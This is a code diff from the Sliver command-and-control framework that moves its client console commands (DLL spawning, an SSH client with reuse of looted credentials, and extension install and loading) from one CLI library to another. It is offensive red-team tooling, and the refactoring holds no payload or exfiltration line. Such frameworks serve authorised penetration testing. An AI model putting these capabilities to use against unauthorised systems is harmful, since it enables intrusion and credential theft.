LootExecute([]byte(sideload.Result), lootName, cmd.Name(), binPath, hostName, con)
|
||||
}
|
||||
}
|
||||
@@ -24,23 +24,27 @@ import (
|
||||
"os"
|
||||
"strings"
|
||||
|
||||
"google.golang.org/protobuf/proto"
|
||||
|
||||
"github.com/spf13/cobra"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/desertbit/grumble"
|
||||
"google.golang.org/protobuf/proto"
|
||||
)
|
||||
|
||||
// SpawnDllCmd - Spawn execution of a DLL on the remote system
|
||||
func SpawnDllCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
func SpawnDllCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
|
||||
session, beacon := con.ActiveTarget.GetInteractive()
|
||||
if session == nil && beacon == nil {
|
||||
return
|
||||
}
|
||||
dllArgs := strings.Join(ctx.Args.StringList("arguments"), " ")
|
||||
binPath := ctx.Args.String("filepath")
|
||||
processName := ctx.Flags.String("process")
|
||||
exportName := ctx.Flags.String("export")
|
||||
binPath := args[0]
|
||||
dllArgs := strings.Join(args[1:], " ")
|
||||
|
||||
processName, _ := cmd.Flags().GetString("process")
|
||||
exportName, _ := cmd.Flags().GetString("export")
|
||||
keepAlive, _ := cmd.Flags().GetBool("keep-alive")
|
||||
|
||||
binData, err := os.ReadFile(binPath)
|
||||
if err != nil {
|
||||
@@ -54,8 +58,8 @@ func SpawnDllCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
ProcessName: processName,
|
||||
Args: dllArgs,
|
||||
EntryPoint: exportName,
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Kill: !ctx.Flags.Bool("keep-alive"),
|
||||
Request: con.ActiveTarget.Request(cmd),
|
||||
Kill: !keepAlive,
|
||||
})
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
@@ -73,26 +77,28 @@ func SpawnDllCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
return
|
||||
}
|
||||
|
||||
HandleSpawnDLLResponse(spawndll, binPath, hostName, ctx, con)
|
||||
HandleSpawnDLLResponse(spawndll, binPath, hostName, cmd, con)
|
||||
})
|
||||
con.PrintAsyncResponse(spawndll.Response)
|
||||
} else {
|
||||
HandleSpawnDLLResponse(spawndll, binPath, hostName, ctx, con)
|
||||
HandleSpawnDLLResponse(spawndll, binPath, hostName, cmd, con)
|
||||
}
|
||||
}
|
||||
|
||||
func HandleSpawnDLLResponse(spawndll *sliverpb.SpawnDll, binPath string, hostName string, ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
saveLoot := ctx.Flags.Bool("loot")
|
||||
lootName := ctx.Flags.String("name")
|
||||
func HandleSpawnDLLResponse(spawndll *sliverpb.SpawnDll, binPath string, hostName string, cmd *cobra.Command, con *console.SliverConsoleClient) {
|
||||
saveLoot, _ := cmd.Flags().GetBool("loot")
|
||||
lootName, _ := cmd.Flags().GetString("name")
|
||||
|
||||
if spawndll.GetResponse().GetErr() != "" {
|
||||
con.PrintErrorf("Failed to spawn dll: %s\n", spawndll.GetResponse().GetErr())
|
||||
return
|
||||
}
|
||||
|
||||
PrintExecutionOutput(spawndll.GetResult(), ctx.Flags.Bool("save"), ctx.Command.Name, hostName, con)
|
||||
save, _ := cmd.Flags().GetBool("save")
|
||||
|
||||
PrintExecutionOutput(spawndll.GetResult(), save, cmd.Name(), hostName, con)
|
||||
|
||||
if saveLoot {
|
||||
LootExecute([]byte(spawndll.GetResult()), lootName, ctx.Command.Name, binPath, hostName, con)
|
||||
LootExecute([]byte(spawndll.GetResult()), lootName, cmd.Name(), binPath, hostName, con)
|
||||
}
|
||||
}
|
||||
+37
-31
@@ -24,16 +24,16 @@ import (
|
||||
"strings"
|
||||
|
||||
"github.com/AlecAivazis/survey/v2"
|
||||
"github.com/bishopfox/sliver/client/command/loot"
|
||||
"github.com/spf13/cobra"
|
||||
"google.golang.org/protobuf/proto"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/desertbit/grumble"
|
||||
"google.golang.org/protobuf/proto"
|
||||
)
|
||||
|
||||
// SSHCmd - A built-in SSH client command for the remote system (doesn't shell out)
|
||||
func SSHCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
func SSHCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
|
||||
var (
|
||||
privKey []byte
|
||||
err error
|
||||
@@ -43,13 +43,13 @@ func SSHCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
return
|
||||
}
|
||||
|
||||
username := ctx.Flags.String("login")
|
||||
username, _ := cmd.Flags().GetString("login")
|
||||
if username == "" {
|
||||
username = session.GetUsername()
|
||||
}
|
||||
|
||||
port := ctx.Flags.Uint("port")
|
||||
privateKeyPath := ctx.Flags.String("private-key")
|
||||
port, _ := cmd.Flags().GetUint("port")
|
||||
privateKeyPath, _ := cmd.Flags().GetString("private-key")
|
||||
if privateKeyPath != "" {
|
||||
privKey, err = os.ReadFile(privateKeyPath)
|
||||
if err != nil {
|
||||
@@ -57,25 +57,31 @@ func SSHCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
return
|
||||
}
|
||||
}
|
||||
password := ctx.Flags.String("password")
|
||||
password, _ := cmd.Flags().GetString("password")
|
||||
|
||||
hostname := ctx.Args.String("hostname")
|
||||
command := ctx.Args.StringList("command")
|
||||
kerberosRealm := ctx.Flags.String("kerberos-realm")
|
||||
kerberosConfig := ctx.Flags.String("kerberos-config")
|
||||
kerberosKeytabFile := ctx.Flags.String("kerberos-keytab")
|
||||
hostname := args[0]
|
||||
command := args[1:]
|
||||
|
||||
kerberosRealm, _ := cmd.Flags().GetString("kerberos-realm")
|
||||
kerberosConfig, _ := cmd.Flags().GetString("kerberos-config")
|
||||
kerberosKeytabFile, _ := cmd.Flags().GetString("kerberos-keytab")
|
||||
|
||||
if kerberosRealm != "" && kerberosKeytabFile == "" {
|
||||
con.PrintErrorf("You must specify a keytab file with the --kerberos-keytab flag\n")
|
||||
return
|
||||
}
|
||||
kerberosKeytab, err := os.ReadFile(kerberosKeytabFile)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
kerberosKeytab := []byte{}
|
||||
if kerberosKeytabFile != "" {
|
||||
kerberosKeytab, err = os.ReadFile(kerberosKeytabFile)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
if password == "" && len(privKey) == 0 && !ctx.Flags.Bool("skip-loot") {
|
||||
skipLoot, _ := cmd.Flags().GetBool("skip-loot")
|
||||
|
||||
if password == "" && len(privKey) == 0 && !skipLoot {
|
||||
oldUsername := username
|
||||
username, password, privKey = tryCredsFromLoot(con)
|
||||
if username == "" {
|
||||
@@ -93,7 +99,7 @@ func SSHCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
Realm: kerberosRealm,
|
||||
Krb5Conf: kerberosConfig,
|
||||
Keytab: kerberosKeytab,
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Request: con.ActiveTarget.Request(cmd),
|
||||
})
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
@@ -143,18 +149,18 @@ func tryCredsFromLoot(con *console.SliverConsoleClient) (string, string, []byte)
|
||||
prompt := &survey.Confirm{Message: "No credentials provided, use from loot?"}
|
||||
survey.AskOne(prompt, &confirm, nil)
|
||||
if confirm {
|
||||
cred, err := loot.SelectCredentials(con)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Invalid loot data, will try to use the SSH agent")
|
||||
} else {
|
||||
switch cred.CredentialType {
|
||||
case clientpb.CredentialType_API_KEY:
|
||||
privKey = []byte(cred.Credential.APIKey)
|
||||
case clientpb.CredentialType_USER_PASSWORD:
|
||||
username = cred.Credential.User
|
||||
password = cred.Credential.Password
|
||||
}
|
||||
}
|
||||
// cred, err := loot.SelectCredentials(con)
|
||||
// if err != nil {
|
||||
// con.PrintErrorf("Invalid loot data, will try to use the SSH agent")
|
||||
// } else {
|
||||
// switch cred.CredentialType {
|
||||
// case clientpb.CredentialType_API_KEY:
|
||||
// privKey = []byte(cred.Credential.APIKey)
|
||||
// case clientpb.CredentialType_USER_PASSWORD:
|
||||
// username = cred.Credential.User
|
||||
// password = cred.Credential.Password
|
||||
// }
|
||||
// }
|
||||
}
|
||||
return username, password, privKey
|
||||
}
|
||||
@@ -0,0 +1,55 @@
|
||||
package exit
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2023 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"os"
|
||||
|
||||
"github.com/AlecAivazis/survey/v2"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
"github.com/spf13/cobra"
|
||||
)
|
||||
|
||||
// ExitCmd - Exit the console
|
||||
func ExitCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
|
||||
fmt.Println("Exiting...")
|
||||
if con.IsServer {
|
||||
sessions, err := con.Rpc.GetSessions(context.Background(), &commonpb.Empty{})
|
||||
if err != nil {
|
||||
os.Exit(1)
|
||||
}
|
||||
beacons, err := con.Rpc.GetBeacons(context.Background(), &commonpb.Empty{})
|
||||
if err != nil {
|
||||
os.Exit(1)
|
||||
}
|
||||
if 0 < len(sessions.Sessions) || 0 < len(beacons.Beacons) {
|
||||
con.Printf("There are %d active sessions and %d active beacons.\n", len(sessions.Sessions), len(beacons.Beacons))
|
||||
confirm := false
|
||||
prompt := &survey.Confirm{Message: "Are you sure you want to exit?"}
|
||||
survey.AskOne(prompt, &confirm)
|
||||
if !confirm {
|
||||
return
|
||||
}
|
||||
}
|
||||
}
|
||||
os.Exit(0)
|
||||
}
|
||||
@@ -21,19 +21,21 @@ package extensions
|
||||
import (
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"io/ioutil"
|
||||
"os"
|
||||
"strings"
|
||||
|
||||
"github.com/jedib0t/go-pretty/v6/table"
|
||||
"github.com/jedib0t/go-pretty/v6/text"
|
||||
"github.com/rsteube/carapace"
|
||||
"github.com/spf13/cobra"
|
||||
|
||||
"github.com/bishopfox/sliver/client/assets"
|
||||
"github.com/bishopfox/sliver/client/command/settings"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/desertbit/grumble"
|
||||
"github.com/jedib0t/go-pretty/v6/table"
|
||||
"github.com/jedib0t/go-pretty/v6/text"
|
||||
)
|
||||
|
||||
// ExtensionsCmd - List information about installed extensions
|
||||
func ExtensionsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
func ExtensionsCmd(cmd *cobra.Command, con *console.SliverConsoleClient) {
|
||||
if 0 < len(getInstalledManifests()) {
|
||||
PrintExtensions(con)
|
||||
} else {
|
||||
@@ -98,7 +100,7 @@ func getInstalledManifests() map[string]*ExtensionManifest {
|
||||
manifestPaths := assets.GetInstalledExtensionManifests()
|
||||
installedManifests := map[string]*ExtensionManifest{}
|
||||
for _, manifestPath := range manifestPaths {
|
||||
data, err := ioutil.ReadFile(manifestPath)
|
||||
data, err := os.ReadFile(manifestPath)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
@@ -113,13 +115,15 @@ func getInstalledManifests() map[string]*ExtensionManifest {
|
||||
}
|
||||
|
||||
// ExtensionsCommandNameCompleter - Completer for installed extensions command names
|
||||
func ExtensionsCommandNameCompleter(prefix string, args []string, con *console.SliverConsoleClient) []string {
|
||||
installedManifests := getInstalledManifests()
|
||||
results := []string{}
|
||||
for _, manifest := range installedManifests {
|
||||
if strings.HasPrefix(manifest.CommandName, prefix) {
|
||||
func ExtensionsCommandNameCompleter(con *console.SliverConsoleClient) carapace.Action {
|
||||
return carapace.ActionCallback(func(c carapace.Context) carapace.Action {
|
||||
installedManifests := getInstalledManifests()
|
||||
results := []string{}
|
||||
for _, manifest := range installedManifests {
|
||||
results = append(results, manifest.CommandName)
|
||||
results = append(results, manifest.Help)
|
||||
}
|
||||
}
|
||||
return results
|
||||
|
||||
return carapace.ActionValuesDescribed(results...).Tag("extension commands")
|
||||
})
|
||||
}
|
||||
@@ -241,5 +241,4 @@ func TestParseExtensionManifestErrors(t *testing.T) {
|
||||
t.Fatalf("Expected missing files.path error, got none")
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
@@ -20,20 +20,21 @@ package extensions
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"io/ioutil"
|
||||
"os"
|
||||
"path/filepath"
|
||||
|
||||
"github.com/AlecAivazis/survey/v2"
|
||||
"github.com/spf13/cobra"
|
||||
|
||||
"github.com/bishopfox/sliver/client/assets"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/util"
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
// ExtensionsInstallCmd - Install an extension
|
||||
func ExtensionsInstallCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
extLocalPath := ctx.Args.String("path")
|
||||
func ExtensionsInstallCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
|
||||
extLocalPath := args[0]
|
||||
|
||||
fi, err := os.Stat(extLocalPath)
|
||||
if os.IsNotExist(err) {
|
||||
con.PrintErrorf("Extension path '%s' does not exist", extLocalPath)
|
||||
@@ -48,7 +49,7 @@ func ExtensionsInstallCmd(ctx *grumble.Context, con *console.SliverConsoleClient
|
||||
|
||||
// Install an extension from a directory
|
||||
func installFromDir(extLocalPath string, con *console.SliverConsoleClient) {
|
||||
manifestData, err := ioutil.ReadFile(filepath.Join(extLocalPath, ManifestFileName))
|
||||
manifestData, err := os.ReadFile(filepath.Join(extLocalPath, ManifestFileName))
|
||||
if err != nil {
|
||||
con.PrintErrorf("Error reading %s: %s", ManifestFileName, err)
|
||||
return
|
||||
@@ -73,12 +74,12 @@ func installFromDir(extLocalPath string, con *console.SliverConsoleClient) {
|
||||
con.PrintInfof("Installing extension '%s' (%s) ... ", manifest.CommandName, manifest.Version)
|
||||
err = os.MkdirAll(installPath, 0o700)
|
||||
if err != nil {
|
||||
con.PrintErrorf("\nError creating extension directory: %s\n", err)
|
||||
con.PrintErrorf("Error creating extension directory: %s\n", err)
|
||||
return
|
||||
}
|
||||
err = ioutil.WriteFile(filepath.Join(installPath, ManifestFileName), manifestData, 0o600)
|
||||
err = os.WriteFile(filepath.Join(installPath, ManifestFileName), manifestData, 0o600)
|
||||
if err != nil {
|
||||
con.PrintErrorf("\nFailed to write %s: %s\n", ManifestFileName, err)
|
||||
con.PrintErrorf("Failed to write %s: %s\n", ManifestFileName, err)
|
||||
forceRemoveAll(installPath)
|
||||
return
|
||||
}
|
||||
@@ -89,13 +90,12 @@ func installFromDir(extLocalPath string, con *console.SliverConsoleClient) {
|
||||
dst := filepath.Join(installPath, util.ResolvePath(manifestFile.Path))
|
||||
err := util.CopyFile(src, dst)
|
||||
if err != nil {
|
||||
con.PrintErrorf("\nError copying file '%s' -> '%s': %s\n", src, dst, err)
|
||||
con.PrintErrorf("Error copying file '%s' -> '%s': %s\n", src, dst, err)
|
||||
forceRemoveAll(installPath)
|
||||
return
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
// InstallFromFilePath - Install an extension from a .tar.gz file
|
||||
@@ -127,12 +127,12 @@ func InstallFromFilePath(extLocalPath string, autoOverwrite bool, con *console.S
|
||||
con.PrintInfof("Installing extension '%s' (%s) ... ", manifest.CommandName, manifest.Version)
|
||||
err = os.MkdirAll(installPath, 0o700)
|
||||
if err != nil {
|
||||
con.PrintErrorf("\nFailed to create extension directory: %s\n", err)
|
||||
con.PrintErrorf("Failed to create extension directory: %s\n", err)
|
||||
return nil
|
||||
}
|
||||
err = ioutil.WriteFile(filepath.Join(installPath, ManifestFileName), manifestData, 0o600)
|
||||
err = os.WriteFile(filepath.Join(installPath, ManifestFileName), manifestData, 0o600)
|
||||
if err != nil {
|
||||
con.PrintErrorf("\nFailed to write %s: %s\n", ManifestFileName, err)
|
||||
con.PrintErrorf("Failed to write %s: %s\n", ManifestFileName, err)
|
||||
forceRemoveAll(installPath)
|
||||
return nil
|
||||
}
|
||||
@@ -140,7 +140,7 @@ func InstallFromFilePath(extLocalPath string, autoOverwrite bool, con *console.S
|
||||
if manifestFile.Path != "" {
|
||||
err = installArtifact(extLocalPath, installPath, manifestFile.Path, con)
|
||||
if err != nil {
|
||||
con.PrintErrorf("\nFailed to install file: %s\n", err)
|
||||
con.PrintErrorf("Failed to install file: %s\n", err)
|
||||
forceRemoveAll(installPath)
|
||||
return nil
|
||||
}
|
||||
@@ -151,7 +151,7 @@ func InstallFromFilePath(extLocalPath string, autoOverwrite bool, con *console.S
|
||||
}
|
||||
|
||||
func installArtifact(extGzFilePath string, installPath string, artifactPath string, con *console.SliverConsoleClient) error {
|
||||
data, err := util.ReadFileFromTarGz(extGzFilePath, "."+artifactPath)
|
||||
data, err := util.ReadFileFromTarGz(extGzFilePath, "."+filepath.ToSlash(artifactPath))
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
@@ -166,7 +166,7 @@ func installArtifact(extGzFilePath string, installPath string, artifactPath stri
|
||||
return err
|
||||
}
|
||||
}
|
||||
err = ioutil.WriteFile(localArtifactPath, data, 0o600)
|
||||
err = os.WriteFile(localArtifactPath, data, 0o600)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
@@ -21,20 +21,21 @@ package extensions
|
||||
import (
|
||||
"context"
|
||||
|
||||
"github.com/spf13/cobra"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
// ExtensionsListCmd - List all extension loaded on the active session/beacon
|
||||
func ExtensionsListCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
func ExtensionsListCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
|
||||
session := con.ActiveTarget.GetSessionInteractive()
|
||||
if session == nil {
|
||||
return
|
||||
}
|
||||
|
||||
extList, err := con.Rpc.ListExtensions(context.Background(), &sliverpb.ListExtensionsReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Request: con.ActiveTarget.Request(cmd),
|
||||
})
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
|
||||
@@ -24,12 +24,18 @@ import (
|
||||
"encoding/json"
|
||||
"errors"
|
||||
"fmt"
|
||||
"io/ioutil"
|
||||
"os"
|
||||
"path"
|
||||
"path/filepath"
|
||||
"strconv"
|
||||
"strings"
|
||||
|
||||
appConsole "github.com/reeflective/console"
|
||||
"github.com/rsteube/carapace"
|
||||
"github.com/spf13/cobra"
|
||||
"github.com/spf13/pflag"
|
||||
"google.golang.org/protobuf/proto"
|
||||
|
||||
"github.com/bishopfox/sliver/client/assets"
|
||||
"github.com/bishopfox/sliver/client/command/help"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
@@ -38,8 +44,6 @@ import (
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/bishopfox/sliver/util"
|
||||
"github.com/desertbit/grumble"
|
||||
"google.golang.org/protobuf/proto"
|
||||
)
|
||||
|
||||
const (
|
||||
@@ -102,24 +106,26 @@ func (e *ExtensionManifest) getFileForTarget(cmdName string, targetOS string, ta
|
||||
}
|
||||
|
||||
// ExtensionLoadCmd - Load extension command
|
||||
func ExtensionLoadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
dirPath := ctx.Args.String("dir-path")
|
||||
func ExtensionLoadCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
|
||||
dirPath := args[0]
|
||||
// dirPath := ctx.Args.String("dir-path")
|
||||
extCmd, err := LoadExtensionManifest(filepath.Join(dirPath, ManifestFileName))
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
// do not add if the command already exists
|
||||
if CmdExists(extCmd.CommandName, con.App) {
|
||||
sliverMenu := con.App.Menu("implant")
|
||||
if CmdExists(extCmd.CommandName, sliverMenu.Command) {
|
||||
con.PrintErrorf("%s command already exists\n", extCmd.CommandName)
|
||||
return
|
||||
}
|
||||
ExtensionRegisterCommand(extCmd, con)
|
||||
ExtensionRegisterCommand(extCmd, cmd.Root(), con)
|
||||
con.PrintInfof("Added %s command: %s\n", extCmd.CommandName, extCmd.Help)
|
||||
}
|
||||
|
||||
// LoadExtensionManifest - Parse extension files
|
||||
func LoadExtensionManifest(manifestPath string) (*ExtensionManifest, error) {
|
||||
data, err := ioutil.ReadFile(manifestPath)
|
||||
data, err := os.ReadFile(manifestPath)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
@@ -169,60 +175,44 @@ func ParseExtensionManifest(data []byte) (*ExtensionManifest, error) {
|
||||
}
|
||||
|
||||
// ExtensionRegisterCommand - Register a new extension command
|
||||
func ExtensionRegisterCommand(extCmd *ExtensionManifest, con *console.SliverConsoleClient) {
|
||||
func ExtensionRegisterCommand(extCmd *ExtensionManifest, cmd *cobra.Command, con *console.SliverConsoleClient) {
|
||||
if errInvalidArgs := checkExtensionArgs(extCmd); errInvalidArgs != nil {
|
||||
con.PrintErrorf(errInvalidArgs.Error())
|
||||
return
|
||||
}
|
||||
|
||||
loadedExtensions[extCmd.CommandName] = extCmd
|
||||
helpMsg := extCmd.Help
|
||||
extensionCmd := &grumble.Command{
|
||||
Name: extCmd.CommandName,
|
||||
Help: helpMsg,
|
||||
LongHelp: help.FormatHelpTmpl(extCmd.LongHelp),
|
||||
Run: func(extCtx *grumble.Context) error {
|
||||
con.Println()
|
||||
runExtensionCmd(extCtx, con)
|
||||
con.Println()
|
||||
return nil
|
||||
|
||||
// Command
|
||||
extensionCmd := &cobra.Command{
|
||||
Use: extCmd.CommandName,
|
||||
Short: helpMsg,
|
||||
Long: help.FormatHelpTmpl(extCmd.LongHelp),
|
||||
Run: func(cmd *cobra.Command, args []string) {
|
||||
runExtensionCmd(cmd, con, args)
|
||||
},
|
||||
Flags: func(f *grumble.Flags) {
|
||||
// f.Bool("s", "save", false, "Save output to disk")
|
||||
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
|
||||
},
|
||||
Args: func(a *grumble.Args) {
|
||||
if 0 < len(extCmd.Arguments) {
|
||||
// BOF specific
|
||||
for _, arg := range extCmd.Arguments {
|
||||
var (
|
||||
argFunc func(string, string, ...grumble.ArgOption)
|
||||
defaultValue grumble.ArgOption
|
||||
)
|
||||
switch arg.Type {
|
||||
case "int", "integer", "short":
|
||||
argFunc = a.Int
|
||||
defaultValue = grumble.Default(0)
|
||||
case "string", "wstring", "file":
|
||||
argFunc = a.String
|
||||
defaultValue = grumble.Default("")
|
||||
default:
|
||||
con.PrintErrorf("Invalid argument type: %s\n", arg.Type)
|
||||
return
|
||||
}
|
||||
if arg.Optional {
|
||||
argFunc(arg.Name, arg.Desc, defaultValue)
|
||||
} else {
|
||||
argFunc(arg.Name, arg.Desc)
|
||||
}
|
||||
}
|
||||
} else {
|
||||
a.StringList("arguments", "arguments", grumble.Default([]string{}))
|
||||
}
|
||||
},
|
||||
HelpGroup: consts.ExtensionHelpGroup,
|
||||
GroupID: consts.ExtensionHelpGroup,
|
||||
Annotations: makeCommandPlatformFilters(extCmd),
|
||||
}
|
||||
con.App.AddCommand(extensionCmd)
|
||||
|
||||
// Flags
|
||||
f := pflag.NewFlagSet(extCmd.Name, pflag.ContinueOnError)
|
||||
f.BoolP("save", "s", false, "Save output to disk")
|
||||
f.IntP("timeout", "t", defaultTimeout, "command timeout in seconds")
|
||||
extensionCmd.Flags().AddFlagSet(f)
|
||||
extensionCmd.Flags().ParseErrorsWhitelist.UnknownFlags = true
|
||||
|
||||
// Completions
|
||||
comps := carapace.Gen(extensionCmd)
|
||||
makeExtensionArgCompleter(extCmd, cmd, comps)
|
||||
|
||||
cmd.AddCommand(extensionCmd)
|
||||
}
|
||||
|
||||
func loadExtension(goos string, goarch string, checkCache bool, ext *ExtensionManifest, ctx *grumble.Context, con *console.SliverConsoleClient) error {
|
||||
func loadExtension(goos string, goarch string, checkCache bool, ext *ExtensionManifest, cmd *cobra.Command, con *console.SliverConsoleClient) error {
|
||||
var extensionList []string
|
||||
binPath, err := ext.getFileForTarget(ctx.Command.Name, goos, goarch)
|
||||
binPath, err := ext.getFileForTarget(cmd.Name(), goos, goarch)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
@@ -230,7 +220,7 @@ func loadExtension(goos string, goarch string, checkCache bool, ext *ExtensionMa
|
||||
// Try to find the extension in the loaded extensions
|
||||
if checkCache {
|
||||
extList, err := con.Rpc.ListExtensions(context.Background(), &sliverpb.ListExtensionsReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Request: con.ActiveTarget.Request(cmd),
|
||||
})
|
||||
if err != nil {
|
||||
con.PrintErrorf("List extensions error: %s\n", err.Error())
|
||||
@@ -255,29 +245,29 @@ func loadExtension(goos string, goarch string, checkCache bool, ext *ExtensionMa
|
||||
// BOFs are not loaded by the DLL loader, but we make sure the loader itself is loaded
|
||||
// Auto load the coff loader if we have it
|
||||
if !depLoaded {
|
||||
if errLoad := loadDep(goos, goarch, ext.DependsOn, ctx, con); errLoad != nil {
|
||||
if errLoad := loadDep(goos, goarch, ext.DependsOn, cmd, con); errLoad != nil {
|
||||
return errLoad
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
binData, err := ioutil.ReadFile(binPath)
|
||||
binData, err := os.ReadFile(binPath)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if errRegister := registerExtension(goos, ext, binData, ctx, con); errRegister != nil {
|
||||
if errRegister := registerExtension(goos, ext, binData, cmd, con); errRegister != nil {
|
||||
return errRegister
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func registerExtension(goos string, ext *ExtensionManifest, binData []byte, ctx *grumble.Context, con *console.SliverConsoleClient) error {
|
||||
func registerExtension(goos string, ext *ExtensionManifest, binData []byte, cmd *cobra.Command, con *console.SliverConsoleClient) error {
|
||||
registerResp, err := con.Rpc.RegisterExtension(context.Background(), &sliverpb.RegisterExtensionReq{
|
||||
Name: ext.CommandName,
|
||||
Data: binData,
|
||||
OS: goos,
|
||||
Init: ext.Init,
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Request: con.ActiveTarget.Request(cmd),
|
||||
})
|
||||
if err != nil {
|
||||
return err
|
||||
@@ -288,23 +278,23 @@ func registerExtension(goos string, ext *ExtensionManifest, binData []byte, ctx
|
||||
return nil
|
||||
}
|
||||
|
||||
func loadDep(goos string, goarch string, depName string, ctx *grumble.Context, con *console.SliverConsoleClient) error {
|
||||
func loadDep(goos string, goarch string, depName string, cmd *cobra.Command, con *console.SliverConsoleClient) error {
|
||||
depExt, ok := loadedExtensions[depName]
|
||||
if ok {
|
||||
depBinPath, err := depExt.getFileForTarget(depExt.CommandName, goos, goarch)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
depBinData, err := ioutil.ReadFile(depBinPath)
|
||||
depBinData, err := os.ReadFile(depBinPath)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
return registerExtension(goos, depExt, depBinData, ctx, con)
|
||||
return registerExtension(goos, depExt, depBinData, cmd, con)
|
||||
}
|
||||
return fmt.Errorf("missing dependency %s", depName)
|
||||
}
|
||||
|
||||
func runExtensionCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
func runExtensionCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
|
||||
var (
|
||||
err error
|
||||
extensionArgs []byte
|
||||
@@ -325,19 +315,19 @@ func runExtensionCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
goarch = beacon.Arch
|
||||
}
|
||||
|
||||
ext, ok := loadedExtensions[ctx.Command.Name]
|
||||
ext, ok := loadedExtensions[cmd.Name()]
|
||||
if !ok {
|
||||
con.PrintErrorf("No extension command found for `%s` command\n", ctx.Command.Name)
|
||||
con.PrintErrorf("No extension command found for `%s` command\n", cmd.Name())
|
||||
return
|
||||
}
|
||||
|
||||
checkCache := session != nil
|
||||
if err = loadExtension(goos, goarch, checkCache, ext, ctx, con); err != nil {
|
||||
if err = loadExtension(goos, goarch, checkCache, ext, cmd, con); err != nil {
|
||||
con.PrintErrorf("Could not load extension: %s\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
binPath, err := ext.getFileForTarget(ctx.Command.Name, goos, goarch)
|
||||
binPath, err := ext.getFileForTarget(cmd.Name(), goos, goarch)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to read extension file: %s\n", err)
|
||||
return
|
||||
